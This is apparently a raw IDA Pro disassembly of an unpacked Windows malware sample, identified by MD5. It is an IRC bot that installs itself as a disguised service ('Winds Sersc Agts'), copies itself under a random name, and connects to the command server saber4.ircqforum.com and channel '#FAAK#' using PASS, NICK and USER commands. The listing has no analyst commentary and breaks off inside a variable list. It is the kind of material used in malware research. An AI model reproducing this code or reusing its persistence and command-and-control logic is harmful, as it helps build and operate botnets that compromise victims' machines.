;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F6B131831739C26ABB4BF532F4E20A9D

; File Name   :	u:\work\f6b131831739c26abb4bf532f4e20a9d_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSerscAgts ; "Winds Sersc Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC
		call	sub_40B2C0
		call	dword_4CB5AC
		call	dword_4CB5AC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2660BD6h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700
		push	7530h
		push	offset aQsfposs	; "qsfposs"
		push	ebx
		push	ebx
		call	near ptr 2690799h
		nop
		push	eax
		nop
		call	near ptr 26906E2h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5C4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 269053Fh
		nop
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_42910C
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42910C[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2690400h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 269034Fh


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 2680F9Dh
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2680646h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 269034Fh
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D808
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2680F48h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 268098Bh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2660BD6h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2680646h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB5AC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26906E2h
		push	esi
		nop
		call	near ptr 2660868h
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2680646h
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		nop
		call	near ptr 2680836h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D810
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		mov	dword_4CB508, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB45C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2680646h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E8
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB5AC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E5A8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2680646h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC
		push	1388h
		nop
		call	near ptr 2680646h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2680646h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
